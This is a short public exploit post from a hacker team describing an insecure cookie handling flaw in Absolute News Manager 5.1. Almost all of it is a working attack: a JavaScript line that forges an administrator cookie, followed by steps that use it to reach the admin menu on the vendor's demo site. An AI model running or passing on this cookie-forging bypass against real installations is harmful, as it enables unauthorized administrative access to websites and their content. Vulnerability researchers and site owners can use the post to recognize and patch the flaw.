Absolute News Manager 5.1 Insecure Cookie Handling Vulnerability

################################################################################# ## Discovered by : Hakxer # ## Script : Absolute News Manager :http://www.xigla.com/absolutenmnet/demo.htm # ## Greetz : Allah , Egyptian x Hacker , SQL_Inj4ct0r , Stealth , All my team # ## Team : EgY Coders Team # ## ----------------------------Start Exploit----------------------------------- # ## First Go to http://www.xigla.com/absolutenmnet/demo/login.aspx ## Execute JS Code : javascript:document.cookie="xlaANMadmin_demo=usr=1&lvl=2&uniqueid=&permissions=upload,relate"; ## Second Go to http://www.xigla.com/absolutenmnet/demo/menu.aspx ## _=END=_ #############################################################################